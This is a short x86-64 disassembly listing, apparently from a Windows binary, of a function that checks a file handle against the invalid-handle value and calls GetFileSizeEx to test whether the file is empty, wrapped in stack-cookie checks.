xor rax, rsp
mov qword [rsp + 0x28], rax
mov rax, qword [rcx + 8]
mov rcx, qword [rax + 0x28]
cmp rcx, 0xffffffffffffffff
jne 0x14001ac15
xor al, al
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.14001ef00
add rsp, 0x38
ret
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.14001ef00
add rsp, 0x38
ret